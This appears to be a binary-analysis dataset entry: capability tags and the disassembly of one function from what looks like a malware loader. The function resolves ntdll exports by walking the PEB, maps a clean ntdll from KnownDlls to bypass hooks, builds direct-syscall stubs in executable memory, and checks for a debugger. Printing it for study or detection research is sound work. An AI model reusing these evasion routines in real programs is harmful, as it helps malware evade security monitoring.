Function at 0x14004ef40
Capabilities:
Access peb ldr_data
Allocate or change rwx memory
Check for peb beingdebugged flag
Check if file exists
Check os version
Encode data using xor
Execute shellcode via indirect call
Get file attributes
Get number of processors
Hash data using crc32b
Inspect section memory permissions
Parse pe header
Query or enumerate registry key
Query or enumerate registry value
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x5b0]
sub rsp, 0x6b0
mov rax, qword [0x14006e040]
xor rax, rsp
mov qword [rbp + 0x5a0], rax
mov rax, qword gs:[0x60]
xor edi, edi
mov rdx, qword [rax + 0x18]
mov rax, qword [rdx + 0x20]
add rdx, 0x20
cmp rax, rdx
je 0x14004efa8
cmp qword [rax + 0x50], rdi
jne 0x14004efa4
mov rax, qword [rax]
cmp rax, rdx
jne 0x14004ef94
jmp 0x14004efa8
lea rdi, [rax - 0x10]
mov rdi, qword [rdi + 0x30]
lea rsi, [0x14009f300]
xor r13d, r13d
mov qword [rbp - 0x58], rdi
mov dword [rbp - 0x50], r13d
movsxd rbx, dword [rdi + 0x3c]
add rbx, rdi
mov qword [rsp + 0x60], rbx
movzx r12d, word [rbx + 0x14]
add r12, rbx
mov qword [rbp - 0x48], r12
xor ebx, ebx
nop dword [rax + rax]
lea r14, [rbx + rbx*4]
mov eax, dword [r12 + r14*8 + 0x3c]
and eax, 0xc0000000
cmp eax, 0x40000000
jne 0x14004f5f4
mov edx, dword [r12 + r14*8 + 0x20]
xor ecx, ecx
mov r8d, 0x3000
lea r9d, [rcx + 4]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rsp + 0x70], rax
test rax, rax
je 0x14004f48b
mov rcx, qword gs:[0x60]
xor r13d, r13d
mov r15, qword [rcx + 0x18]
add r15, 0x20
mov rdi, qword [r15]
cmp rdi, r15
je 0x14004f068
nop word [rax + rax]
mov rdx, qword [rdi + 0x50]
test rdx, rdx
je 0x14004f05a
lea rcx, [0x140063500]
call fcn.1400475b0
test rax, rax
jne 0x14004f064
mov rdi, qword [rdi]
cmp rdi, r15
jne 0x14004f040
jmp 0x14004f068
lea r13, [rdi - 0x10]
mov rdi, qword [r13 + 0x30]
test rdi, rdi
je 0x14004f120
mov eax, 0x5a4d
cmp word [rdi], ax
jne 0x14004f120
mov eax, dword [rdi + 0x3c]
cmp dword [rax + rdi], 0x4550
jne 0x14004f120
mov eax, dword [rax + rdi + 0x88]
add rax, rdi
je 0x14004f120
mov r10d, dword [rax + 0x20]
xor r9d, r9d
mov esi, dword [rax + 0x24]
add r10, rdi
mov r15d, dword [rax + 0x1c]
add rsi, rdi
mov r11d, dword [rax + 0x14]
add r15, rdi
xor r8d, r8d
test r11d, r11d
je 0x14004f120
lea r13, str.NtReadVirtualMemory
nop dword [rax]
mov ecx, dword [r10 + r8*4]
mov rax, r13
add rcx, rdi
je 0x14004f115
movzx edx, byte [rcx]
cmp dl, 0x4e
jne 0x14004f107
sub rcx, r13
test dl, dl
je 0x14004f0fe
cmp byte [rax], 0
je 0x14004f107
movzx edx, byte [rcx + rax + 1]
inc rax
cmp dl, byte [rax]
je 0x14004f0e7
jmp 0x14004f107
cmp byte [rax], 0
je 0x14004f2a2
movsx ecx, byte [rax]
movsx eax, dl
cmp eax, ecx
je 0x14004f2a2
inc r9d
inc r8
cmp r9d, r11d
jb 0x14004f0d0
mov r15d, dword [r12 + r14*8 + 0x24]
lea rdx, [0x14009f300]
add r15, qword [rbp - 0x58]
lea rax, [rbx + rbx*2]
lea rcx, [rax*8]
mov edi, 0xffffffff
mov qword [rcx + rdx], r15
mov eax, dword [r12 + r14*8 + 0x20]
mov dword [rcx + rdx + 8], eax
mov edx, 0x20
mov esi, dword [r12 + r14*8 + 0x20]
mov ecx, 0x4c11db7
call fcn.140058ac0
mov r8d, eax
test rsi, rsi
je 0x14004f1fd
nop
movzx ecx, byte [r15]
lea r15, [r15 + 1]
xor edi, ecx
mov edx, edi
shr edx, 1
mov ecx, edx
xor ecx, r8d
test dil, 1
cmovne edx, ecx
mov ecx, edx
shr ecx, 1
mov eax, ecx
xor eax, r8d
test dl, 1
cmovne ecx, eax
mov edx, ecx
shr edx, 1
mov eax, edx
xor eax, r8d
test cl, 1
cmovne edx, eax
mov ecx, edx
shr ecx, 1
mov eax, ecx
xor eax, r8d
test dl, 1
cmovne ecx, eax
mov edx, ecx
shr edx, 1
mov eax, edx
xor eax, r8d
test cl, 1
cmovne edx, eax
mov ecx, edx
shr ecx, 1
mov eax, ecx
xor eax, r8d
test dl, 1
cmovne ecx, eax
mov edx, ecx
shr edx, 1
mov eax, edx
xor eax, r8d
test cl, 1
cmovne edx, eax
mov edi, edx
shr edi, 1
mov eax, edi
xor eax, r8d
test dl, 1
cmovne edi, eax
sub rsi, 1
jne 0x14004f170
not edi
lea rax, [rbx + rbx*2]
lea rsi, [0x14009f300]
mov dword [rsi + rax*8 + 0xc], edi
lea rax, [rbx + rbx*2]
mov r9d, dword [r12 + r14*8 + 0x20]
mov edi, 0xffff
mov rdx, qword [rsi + rax*8]
mov r8d, edi
test r9, r9
je 0x14004f270
mov r12d, 0x167
nop
cmp r9, r12
mov ecx, r9d
cmova ecx, r12d
mov eax, ecx
sub r9, rax
nop
mov rax, qword [rdx]
inc rdx
add edi, eax
add r8d, edi
add ecx, 0xffffffff
jne 0x14004f240
mov ecx, edi
movzx edi, di
shr ecx, 0x10
add edi, ecx
mov ecx, r8d
shr ecx, 0x10
movzx r8d, r8w
add r8d, ecx
test r9, r9
jne 0x14004f230
mov r12, qword [rbp - 0x48]
mov r13, qword [rsp + 0x70]
mov edx, r8d
movzx eax, di
mov ecx, edi
mov rdi, qword [rbp - 0x58]
and edx, 0xffff0000
shr ecx, 0x10
shl r8d, 0x10
add ecx, eax
add edx, r8d
lea rax, [rbx + rbx*2]
or edx, ecx
mov dword [rsi + rax*8 + 0x10], edx
jmp 0x14004f471
movzx eax, word [rsi + r8*2]
mov r10d, dword [r15 + rax*4]
add r10, rdi
je 0x14004f120
mov edx, dword [r12 + r14*8 + 0x24]
mov rcx, 0xffffffffffffffff
mov rdi, qword [rbp - 0x58]
mov r13, qword [rsp + 0x70]
add rdx, rdi
mov r9d, dword [r12 + r14*8 + 0x20]
mov r8, r13
mov qword [rsp + 0x20], 0
call r10
test eax, eax
js 0x14004f46a
lea rdx, [0x14009f300]
mov r15, r13
lea rax, [rbx + rbx*2]
lea rcx, [rax*8]
mov eax, dword [r12 + r14*8 + 0x24]
add rax, rdi
mov edi, 0xffffffff
mov qword [rcx + rdx], rax
mov eax, dword [r12 + r14*8 + 0x20]
mov dword [rcx + rdx + 8], eax
mov edx, 0x20
mov esi, dword [r12 + r14*8 + 0x20]
mov ecx, 0x4c11db7
call fcn.140058ac0
mov r8d, eax
test rsi, rsi
je 0x14004f3cd
nop dword [rax + rax]
movzx ecx, byte [r15]
lea r15, [r15 + 1]
xor edi, ecx
mov edx, edi
shr edx, 1
mov ecx, edx
xor ecx, r8d
test dil, 1
cmovne edx, ecx
mov ecx, edx
shr ecx, 1
mov eax, ecx
xor eax, r8d
test dl, 1
cmovne ecx, eax
mov edx, ecx
shr edx, 1
mov eax, edx
xor eax, r8d
test cl, 1
cmovne edx, eax
mov ecx, edx
shr ecx, 1
mov eax, ecx
xor eax, r8d
test dl, 1
cmovne ecx, eax
mov edx, ecx
shr edx, 1
mov eax, edx
xor eax, r8d
test cl, 1
cmovne edx, eax
mov ecx, edx
shr ecx, 1
mov eax, ecx
xor eax, r8d
test dl, 1
cmovne ecx, eax
mov edx, ecx
shr edx, 1
mov eax, edx
xor eax, r8d
test cl, 1
cmovne edx, eax
mov edi, edx
shr edi, 1
mov eax, edi
xor eax, r8d
test dl, 1
cmovne edi, eax
sub rsi, 1
jne 0x14004f340
not edi
lea rax, [rbx + rbx*2]
lea rsi, [0x14009f300]
mov rdx, r13
mov dword [rsi + rax*8 + 0xc], edi
mov edi, 0xffff
mov r9d, dword [r12 + r14*8 + 0x20]
mov r8d, edi
test r9, r9
je 0x14004f440
mov r12d, 0x167
nop dword [rax]
cmp r9, r12
mov ecx, r9d
cmova ecx, r12d
mov eax, ecx
sub r9, rax
nop
mov rax, qword [rdx]
inc rdx
add edi, eax
add r8d, edi
add ecx, 0xffffffff
jne 0x14004f410
mov ecx, edi
movzx edi, di
shr ecx, 0x10
add edi, ecx
mov ecx, r8d
shr ecx, 0x10
movzx r8d, r8w
add r8d, ecx
test r9, r9
jne 0x14004f400
mov r12, qword [rbp - 0x48]
movzx eax, di
mov edx, r8d
mov ecx, edi
shl r8d, 0x10
mov rdi, qword [rbp - 0x58]
and edx, 0xffff0000
shr ecx, 0x10
add edx, r8d
add ecx, eax
lea rax, [rbx + rbx*2]
or edx, ecx
mov dword [rsi + rax*8 + 0x10], edx
jmp 0x14004f471
lea rsi, [0x14009f300]
xor edx, edx
mov r8d, 0x8000
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov r13d, dword [rbp - 0x50]
jmp 0x14004f5f4
mov r15d, dword [r12 + r14*8 + 0x24]
lea rax, [rbx + rbx*2]
lea rcx, [rax*8]
add r15, rdi
mov qword [rcx + rsi], r15
mov edx, 0x20
mov eax, dword [r12 + r14*8 + 0x20]
mov edi, 0xffffffff
mov dword [rcx + rsi + 8], eax
mov ecx, 0x4c11db7
mov esi, dword [r12 + r14*8 + 0x20]
call fcn.140058ac0
mov r8d, eax
test rsi, rsi
je 0x14004f55e
movzx ecx, byte [r15]
lea r15, [r15 + 1]
xor edi, ecx
mov edx, edi
shr edx, 1
mov ecx, edx
xor ecx, r8d
test dil, 1
cmovne edx, ecx
mov ecx, edx
shr ecx, 1
mov eax, ecx
xor eax, r8d
test dl, 1
cmovne ecx, eax
mov edx, ecx
shr edx, 1
mov eax, edx
xor eax, r8d
test cl, 1
cmovne edx, eax
mov ecx, edx
shr ecx, 1
mov eax, ecx
xor eax, r8d
test dl, 1
cmovne ecx, eax
mov edx, ecx
shr edx, 1
mov eax, edx
xor eax, r8d
test cl, 1
cmovne edx, eax
mov ecx, edx
shr ecx, 1
mov eax, ecx
xor eax, r8d
test dl, 1
cmovne ecx, eax
mov edx, ecx
shr edx, 1
mov eax, edx
xor eax, r8d
test cl, 1
cmovne edx, eax
mov edi, edx
shr edi, 1
mov eax, edi
xor eax, r8d
test dl, 1
cmovne edi, eax
sub rsi, 1
jne 0x14004f4d1
not edi
lea rax, [rbx + rbx*2]
lea rsi, [0x14009f300]
mov dword [rsi + rax*8 + 0xc], edi
lea rax, [rbx + rbx*2]
mov r9d, dword [r12 + r14*8 + 0x20]
mov edi, 0xffff
mov rdx, qword [rsi + rax*8]
mov r8d, edi
test r9, r9
je 0x14004f5cc
mov r10d, 0x167
nop
cmp r9, r10
mov ecx, r9d
cmova ecx, r10d
mov eax, ecx
sub r9, rax
nop
mov rax, qword [rdx]
inc rdx
add edi, eax
add r8d, edi
add ecx, 0xffffffff
jne 0x14004f5a0
mov ecx, edi
movzx edi, di
shr ecx, 0x10
add edi, ecx
mov ecx, r8d
shr ecx, 0x10
movzx r8d, r8w
add r8d, ecx
test r9, r9
jne 0x14004f590
movzx eax, di
mov edx, r8d
mov ecx, edi
shl r8d, 0x10
mov rdi, qword [rbp - 0x58]
and edx, 0xffff0000
shr ecx, 0x10
add edx, r8d
add ecx, eax
lea rax, [rbx + rbx*2]
or edx, ecx
mov dword [rsi + rax*8 + 0x10], edx
mov rax, qword [rsp + 0x60]
inc r13d
inc rbx
mov dword [rbp - 0x50], r13d
movzx eax, word [rax + 6]
cmp r13d, eax
jle 0x14004efe0
mov r15, qword gs:[0x60]
mov rax, qword [r15 + 0x18]
add rax, 0x20
mov rsi, qword [rax]
cmp rsi, rax
je 0x14004f6a0
nop dword [rax]
cmp qword [rsi + 0x50], 0
je 0x14004f690
mov rax, qword [rsi + 0x20]
xor edi, edi
movsxd r14, dword [rax + 0x3c]
add r14, rax
movzx eax, word [r14 + 0x14]
lea rbx, [r14 + 0x24]
add rbx, rax
mov ecx, dword [rbx]
lea rdx, [rbp - 0x20]
add rcx, qword [rsi + 0x20]
mov r8d, 0x30
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x14004f681
cmp dword [rbp], 0x1000
jne 0x14004f681
test dword [rbp + 4], 0x100
jne 0x140051a35
movzx eax, word [r14 + 6]
inc edi
add rbx, 0x28
cmp edi, eax
jle 0x14004f650
mov rax, qword [r15 + 0x18]
mov rsi, qword [rsi]
add rax, 0x20
cmp rsi, rax
jne 0x14004f630
mov rax, qword gs:[0x60]
xor r15d, r15d
mov r14d, r15d
mov rsi, qword [rax + 0x18]
add rsi, 0x20
mov rdi, qword [rsi]
cmp rdi, rsi
je 0x14004f6e8
nop
mov rdx, qword [rdi + 0x50]
test rdx, rdx
je 0x14004f6da
lea rcx, [0x140063500]
call fcn.1400475b0
test rax, rax
jne 0x14004f6e4
mov rdi, qword [rdi]
cmp rdi, rsi
jne 0x14004f6c0
jmp 0x14004f6e8
lea r14, [rdi - 0x10]
mov rcx, qword [r14 + 0x30]
mov r12d, 0x5a4d
test rcx, rcx
je 0x14004f7a8
cmp word [rcx], r12w
jne 0x14004f7a8
mov eax, dword [rcx + 0x3c]
cmp dword [rax + rcx], 0x4550
jne 0x14004f7a8
mov eax, dword [rax + rcx + 0x88]
add rax, rcx
je 0x14004f7a8
mov edi, dword [rax + 0x20]
mov r9d, r15d
mov r8d, dword [rax + 0x24]
add rdi, rcx
mov r10d, dword [rax + 0x1c]
add r8, rcx
mov r11d, dword [rax + 0x14]
add r10, rcx
test r11d, r11d
je 0x14004f7a8
mov eax, dword [rdi]
cmp byte [rax + rcx], 0x4e
jne 0x14004f798
cmp byte [rax + rcx + 1], 0x74
jne 0x14004f798
movzx eax, word [r8]
mov edx, dword [r10 + rax*4]
cmp byte [rcx + rdx], 0x4c
lea rax, [rcx + rdx]
jne 0x14004f786
cmp byte [rax + 1], 0x8b
jne 0x14004f786
cmp byte [rax + 2], 0xd1
jne 0x14004f786
cmp byte [rax + 3], 0xb8
jne 0x14004f786
cmp byte [rax + 0x12], 0xf
jne 0x14004f786
cmp byte [rax + 0x13], 5
jne 0x14004f78d
jmp 0x14004f798
cmp byte [rdx + rcx + 0x12], 0xf
jne 0x14004f798
cmp byte [rdx + rcx + 0x13], 5
je 0x140051a38
inc r9d
add rdi, 4
add r8, 2
cmp r9d, r11d
jb 0x14004f745
mov rax, qword gs:[0x60]
mov r11, r15
mov rdx, qword [rax + 0x18]
mov rax, qword [rdx + 0x20]
add rdx, 0x20
cmp rax, rdx
je 0x14004f7d9
cmp qword [rax + 0x50], r15
jne 0x14004f7d5
mov rax, qword [rax]
cmp rax, rdx
jne 0x14004f7c5
jmp 0x14004f7d9
lea r11, [rax - 0x10]
mov r11, qword [r11 + 0x30]
mov r10, r15
movsxd rcx, dword [r11 + 0x3c]
add rcx, r11
movzx ebx, word [rcx + 0x14]
movzx r14d, word [rcx + 6]
add rbx, rcx
lea rsi, [rbx + 0x3c]
mov r8, rsi
nop word [rax + rax]
mov edi, dword [r8 - 0x18]
mov eax, dword [r8]
add rdi, r11
and eax, 0xe0000000
cmp eax, 0x60000000
jne 0x14004f857
mov rax, rbx
lea rcx, [rdi + 2]
sub rax, rsi
mov rdx, 0xfffffffffffffffe
sub rdx, rdi
mov r9d, dword [rax + r8 + 0x20]
nop
cmp byte [rcx - 2], 0xf
jne 0x14004f84b
cmp byte [rcx - 1], 0xb
jne 0x14004f84b
cmp byte [rcx], r15b
je 0x14004f84b
cmp byte [rcx + 1], r15b
jne 0x140051a38
inc rcx
lea rax, [rdx + rcx]
cmp rax, r9
jbe 0x14004f830
inc r10
add r8, 0x28
cmp r10, r14
jle 0x14004f800
xor eax, eax
mov qword [rbp - 0x48], r15
lea rdi, [rbp + 0x70]
mov dword [rbp + 0x38], 0xb8
mov ecx, 0x104
mov dword [rbp + 0x3c], 0xd18b4c00
rep stosb byte [rdi], al
lea rax, [rbp + 0x70]
mov word [rbp + 0x40], 0x50f
mov byte [rbp + 0x42], 0xc3
mov qword [rsp + 0x70], r15
mov qword [rbp - 0x58], r15
mov qword [rbp - 0x50], r15
mov dword [rbp - 0x1c], r15d
mov dword [rbp - 4], r15d
cmp word [rbp + 0x70], r15w
je 0x14004f8ba
nop dword [rax]
add rax, 2
cmp word [rax], r15w
jne 0x14004f8b0
mov r13d, 0x5c
lea rdx, str.KnownDlls_
movzx ecx, r13w
sub rdx, rax
nop
mov word [rax], cx
lea rax, [rax + 2]
movzx ecx, word [rax + rdx]
test cx, cx
jne 0x14004f8d0
mov word [rax], r15w
lea rax, [rbp + 0x70]
cmp word [rbp + 0x70], r15w
je 0x14004f8fa
nop
add rax, 2
cmp word [rax], r15w
jne 0x14004f8f0
lea rdx, [0x140063500]
mov ecx, 0x6e
sub rdx, rax
nop dword [rax]
mov word [rax], cx
lea rax, [rax + 2]
movzx ecx, word [rax + rdx]
test cx, cx
jne 0x14004f910
mov word [rax], r15w
lea rcx, [rbp + 0x70]
mov eax, r15d
cmp word [rbp + 0x70], r15w
je 0x14004f93e
inc eax
lea rcx, [rcx + 2]
cmp word [rcx], r15w
jne 0x14004f932
add ax, ax
mov dword [rbp - 0x20], 0x30
mov word [rsp + 0x60], ax
mov r14, r15
add ax, 2
mov qword [rbp - 0x18], r15
mov word [rsp + 0x62], ax
lea rax, [rbp + 0x70]
mov qword [rsp + 0x68], rax
lea rax, [rbp - 0x30]
movaps xmm0, xmmword [rsp + 0x60]
movdqa xmmword [rbp - 0x30], xmm0
xorps xmm0, xmm0
movdqu xmmword [rbp], xmm0
mov dword [rbp - 8], 0x40
mov qword [rbp - 0x10], rax
mov rax, qword gs:[0x60]
mov rsi, qword [rax + 0x18]
add rsi, 0x20
mov rdi, qword [rsi]
cmp rdi, rsi
je 0x14004f9c8
mov rdx, qword [rdi + 0x50]
test rdx, rdx
je 0x14004f9ba
lea rcx, [0x140063500]
call fcn.1400475b0
test rax, rax
jne 0x14004f9c4
mov rdi, qword [rdi]
cmp rdi, rsi
jne 0x14004f9a0
jmp 0x14004f9c8
lea r14, [rdi - 0x10]
mov r9, qword [r14 + 0x30]
lea rsi, str.ZwOpenSection
test r9, r9
je 0x14004fa67
cmp word [r9], r12w
jne 0x14004fa67
mov eax, dword [r9 + 0x3c]
cmp dword [rax + r9], 0x4550
jne 0x14004fa67
mov eax, dword [rax + r9 + 0x88]
add rax, r9
je 0x14004fa67
mov edi, dword [rax + 0x20]
mov r8d, r15d
mov r11d, dword [rax + 0x24]
add rdi, r9
mov ebx, dword [rax + 0x1c]
add r11, r9
mov r10d, dword [rax + 0x14]
add rbx, r9
test r10d, r10d
je 0x14004fa67
mov eax, dword [rdi]
mov rcx, rsi
add rax, r9
je 0x14004fa5b
movzx edx, byte [rax]
cmp dl, 0x5a
jne 0x14004fa51
sub rax, rsi
test dl, dl
je 0x14004fa4c
cmp byte [rcx], r15b
je 0x14004fa51
movzx edx, byte [rcx + rax + 1]
inc rcx
cmp dl, byte [rcx]
je 0x14004fa35
jmp 0x14004fa51
cmp byte [rcx], r15b
je 0x14004faaa
movsx eax, byte [rcx]
movsx ecx, dl
cmp ecx, eax
je 0x14004faaa
inc r8d
add rdi, 4
cmp r8d, r10d
jb 0x14004fa20
mov r12, r15
mov rax, qword gs:[0x60]
mov r14, r15
mov rsi, qword [rax + 0x18]
add rsi, 0x20
mov rdi, qword [rsi]
cmp rdi, rsi
je 0x14004fabf
mov rdx, qword [rdi + 0x50]
test rdx, rdx
je 0x14004faa0
lea rcx, [0x140063500]
call fcn.1400475b0
test rax, rax
jne 0x14004fabb
mov rdi, qword [rdi]
cmp rdi, rsi
jne 0x14004fa86
jmp 0x14004fabf
movsxd rax, r8d
movzx ecx, word [r11 + rax*2]
mov r12d, dword [rbx + rcx*4]
add r12, r9
jmp 0x14004fa6a
lea r14, [rdi - 0x10]
mov r9, qword [r14 + 0x30]
lea rsi, str.ZwMapViewOfSection
test r9, r9
je 0x14004fb67
mov eax, 0x5a4d
cmp word [r9], ax
jne 0x14004fb67
mov eax, dword [r9 + 0x3c]
cmp dword [rax + r9], 0x4550
jne 0x14004fb67
mov eax, dword [rax + r9 + 0x88]
add rax, r9
je 0x14004fb67
mov edi, dword [rax + 0x20]
mov r8d, r15d
mov r11d, dword [rax + 0x24]
add rdi, r9
mov ebx, dword [rax + 0x1c]
add r11, r9
mov r10d, dword [rax + 0x14]
add rbx, r9
test r10d, r10d
je 0x14004fb67
mov eax, dword [rdi]
mov rcx, rsi
add rax, r9
je 0x14004fb5b
movzx edx, byte [rax]
cmp dl, 0x5a
jne 0x14004fb51
sub rax, rsi
test dl, dl
je 0x14004fb4c
cmp byte [rcx], r15b
je 0x14004fb51
movzx edx, byte [rcx + rax + 1]
inc rcx
cmp dl, byte [rcx]
je 0x14004fb35
jmp 0x14004fb51
cmp byte [rcx], r15b
je 0x14004fba7
movsx eax, byte [rcx]
movsx ecx, dl
cmp ecx, eax
je 0x14004fba7
inc r8d
add rdi, 4
cmp r8d, r10d
jb 0x14004fb20
mov r14, r15
mov rax, qword gs:[0x60]
mov rsi, qword [rax + 0x18]
add rsi, 0x20
mov rdi, qword [rsi]
cmp rdi, rsi
je 0x14004fbbc
mov rdx, qword [rdi + 0x50]
test rdx, rdx
je 0x14004fb9d
lea rcx, [0x140063500]
call fcn.1400475b0
test rax, rax
jne 0x14004fbb8
mov rdi, qword [rdi]
cmp rdi, rsi
jne 0x14004fb83
jmp 0x14004fbbc
movsxd rax, r8d
movzx ecx, word [r11 + rax*2]
mov r14d, dword [rbx + rcx*4]
add r14, r9
jmp 0x14004fb6a
lea r15, [rdi - 0x10]
mov r9, qword [r15 + 0x30]
lea rsi, str.NtClose
test r9, r9
je 0x14004fcf3
mov eax, 0x5a4d
cmp word [r9], ax
jne 0x14004fcf3
mov eax, dword [r9 + 0x3c]
cmp dword [rax + r9], 0x4550
jne 0x14004fcf3
mov eax, dword [rax + r9 + 0x88]
add rax, r9
je 0x14004fcf3
mov edi, dword [rax + 0x20]
xor r15d, r15d
mov r11d, dword [rax + 0x24]
add rdi, r9
mov ebx, dword [rax + 0x1c]
add r11, r9
mov r10d, dword [rax + 0x14]
add rbx, r9
mov r8d, r15d
test r10d, r10d
je 0x14004fcf6
nop dword [rax + rax]
mov eax, dword [rdi]
mov rcx, rsi
add rax, r9
je 0x14004fc6b
movzx edx, byte [rax]
cmp dl, 0x4e
jne 0x14004fc61
sub rax, rsi
test dl, dl
je 0x14004fc5c
cmp byte [rcx], r15b
je 0x14004fc61
movzx edx, byte [rcx + rax + 1]
inc rcx
cmp dl, byte [rcx]
je 0x14004fc45
jmp 0x14004fc61
cmp byte [rcx], r15b
je 0x14004fc79
movsx eax, byte [rcx]
movsx ecx, dl
cmp ecx, eax
je 0x14004fc79
inc r8d
add rdi, 4
cmp r8d, r10d
jb 0x14004fc30
jmp 0x14004fcf6
movsxd rax, r8d
movzx ecx, word [r11 + rax*2]
mov edi, dword [rbx + rcx*4]
add rdi, r9
je 0x14004fcf6
test r14, r14
je 0x14004fcf6
test r12, r12
je 0x14004fcf6
lea r8, [rbp - 0x20]
mov edx, 4
lea rcx, [rbp - 0x58]
call r12
test eax, eax
js 0x14004fcf6
mov rcx, qword [rbp - 0x58]
lea rax, [rbp - 0x50]
mov dword [rsp + 0x48], 2
lea r8, [rsp + 0x70]
mov dword [rsp + 0x40], r15d
xor r9d, r9d
mov dword [rsp + 0x38], 1
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x28], r15
lea rdx, [r9 - 1]
mov qword [rsp + 0x20], r15
call r14
test eax, eax
js 0x14004fcf6
mov rcx, qword [rbp - 0x58]
test rcx, rcx
je 0x14004fcf6
call rdi
jmp 0x14004fcf6
xor r15d, r15d
mov rax, qword gs:[0x60]
mov r14, r15
mov rsi, qword [rax + 0x18]
add rsi, 0x20
mov rdi, qword [rsi]
cmp rdi, rsi
je 0x14004fd3a
mov rdx, qword [rdi + 0x50]
test rdx, rdx
je 0x14004fd2c
lea rcx, [0x140063500]
call fcn.1400475b0
test rax, rax
jne 0x14004fd36
mov rdi, qword [rdi]
cmp rdi, rsi
jne 0x14004fd12
jmp 0x14004fd3a
lea r14, [rdi - 0x10]
mov r9, qword [rsp + 0x70]
lea r12, str.ZwUnmapViewOfSection
mov r10, qword [r14 + 0x30]
mov esi, 0x16
lea r14, str.NtQueryInformationProcess
lea ebx, [rsi + 3]
lea edi, [rsi + 1]
test r9, r9
je 0x14004fef9
test r10, r10
je 0x14004fef9
mov eax, 0x5a4d
cmp word [r9], ax
jne 0x14004fe0a
mov eax, dword [r9 + 0x3c]
cmp dword [rax + r9], 0x4550
jne 0x14004fe0a
mov eax, dword [rax + r9 + 0x88]
add rax, r9
je 0x14004fe0a
mov edi, dword [rax + 0x20]
mov r8d, r15d
mov ebx, dword [rax + 0x24]
add rdi, r9
mov esi, dword [rax + 0x1c]
add rbx, r9
mov r11d, dword [rax + 0x14]
add rsi, r9
test r11d, r11d
je 0x14004fe0a
mov eax, dword [rdi]
mov rcx, r14
add rax, r9
je 0x14004fdfe
movzx edx, byte [rax]
cmp dl, 0x4e
jne 0x14004fdf0
sub rax, r14
nop dword [rax + rax]
test dl, dl
je 0x14004fde7
cmp byte [rcx], 0
je 0x14004fdf0
movzx edx, byte [rcx + rax + 1]
inc rcx
cmp dl, byte [rcx]
je 0x14004fdd0
jmp 0x14004fdf0
cmp byte [rcx], 0
je 0x14004fe8c
movsx eax, byte [rcx]
movsx ecx, dl
cmp ecx, eax
je 0x14004fe8c
inc r8d
add rdi, 4
cmp r8d, r11d
jb 0x14004fdb6
mov rbx, r15
mov ecx, 0x5a4d
cmp word [r10], cx
jne 0x14004feb9
mov eax, dword [r10 + 0x3c]
cmp dword [rax + r10], 0x4550
jne 0x14004feb9
mov eax, dword [rax + r10 + 0x88]
add rax, r10
je 0x14004feb9
mov edi, dword [rax + 0x20]
mov r8d, r15d
mov esi, dword [rax + 0x24]
add rdi, r10
mov r14d, dword [rax + 0x1c]
add rsi, r10
mov r11d, dword [rax + 0x14]
add r14, r10
test r11d, r11d
je 0x14004feb9
nop word [rax + rax]
mov eax, dword [rdi]
mov rcx, r12
add rax, r10
je 0x14004fead
movzx edx, byte [rax]
cmp dl, 0x5a
jne 0x14004fea3
sub rax, r12
test dl, dl
je 0x14004fe9e
cmp byte [rcx], 0
je 0x14004fea3
movzx edx, byte [rcx + rax + 1]
inc rcx
cmp dl, byte [rcx]
je 0x14004fe75
jmp 0x14004fea3
movsxd rax, r8d
movzx ecx, word [rbx + rax*2]
mov ebx, dword [rsi + rcx*4]
add rbx, r9
jmp 0x14004fe0d
cmp byte [rcx], 0
je 0x14004fecf
movsx eax, byte [rcx]
movsx ecx, dl
cmp ecx, eax
je 0x14004fecf
inc r8d
add rdi, 4
cmp r8d, r11d
jb 0x14004fe60
mov rax, r15
mov rdx, r9
mov rcx, 0xffffffffffffffff
test rbx, rbx
jne 0x14004fedf
call rax
jmp 0x14004feee
movsxd rax, r8d
movzx ecx, word [rsi + rax*2]
mov eax, dword [r14 + rcx*4]
add rax, r10
jmp 0x14004febc
movzx ebx, word [rbx + 4]
call rax
mov word [rbp - 0x6c], bx
test bx, bx
jne 0x14004ff3c
mov esi, 0x16
lea ebx, [rsi + 3]
lea edi, [rsi + 1]
lea rcx, str.____Cant_get_syscall_auto__n
call fcn.140047710
mov al, byte [0x7ffe026c]
cmp al, 0xa
je 0x14004ff38
cmp al, 6
jne 0x14004ff35
movzx ecx, byte [0x7ffe0270]
sub ecx, 1
je 0x14004ff35
sub ecx, 1
je 0x14004ff30
cmp ecx, 1
jne 0x14004ff38
lea ebx, [rcx + 0x17]
jmp 0x14004ff38
movzx ebx, di
jmp 0x14004ff38
movzx ebx, si
mov word [rbp - 0x6c], bx
mov edx, 0x1024
xor ecx, ecx
lea r9d, [rcx + 0x40]
lea r8d, [rdx - 0x24]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r14d, 0xb
mov rdi, rax
mov qword [rsp + 0x60], r14
test rax, rax
je 0x14005004f
lea rcx, [rbp + 0x39]
lea rax, [rbp - 0x6c]
cmp rcx, rax
jbe 0x14004ff80
lea rcx, [rbp + 0x39]
lea rax, [rbp - 0x6a]
nop dword [rax]
movzx eax, byte [rbp - 0x6b]
lea rcx, [rbp + 0x38]
mov byte [rbp + 0x3a], al
mov byte [rbp + 0x39], bl
cmp rdi, rcx
jbe 0x14004ffa0
lea rcx, [rbp + 0x43]
nop word [rax + rax]
mov dword [rdi + 7], 0xc3050fd1
lea r8, [rbp - 0x48]
mov dword [rdi + 3], 0x8b4c0000
mov r9d, 8
mov byte [rdi + 2], al
mov rcx, 0xffffffffffffffff
mov byte [rdi + 1], bl
mov byte [rdi], 0xb8
lea edx, [r9 - 1]
mov qword [rsp + 0x20], r15
call rdi
lea rbx, [rbp + 0x38]
mov esi, eax
sub rbx, rdi
mov r11, r14
mov r9, rdi
nop dword [rax]
nop word [rax + rax]
movzx r8d, byte [r9]
movzx r10d, byte [rbx + r9]
lea eax, [r8 - 0x61]
cmp eax, 0x19
lea edx, [r8 - 0x20]
lea eax, [r10 - 0x61]
cmova edx, r8d
lea ecx, [r10 - 0x20]
cmp eax, 0x19
cmova ecx, r10d
cmp edx, ecx
jne 0x140050026
inc r9
sub r11, 1
jne 0x14004fff0
jmp 0x14005002f
cmp r8d, r10d
jne 0x140051a38
xor edx, edx
mov r8d, 0x8000
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
test esi, esi
js 0x14005004f
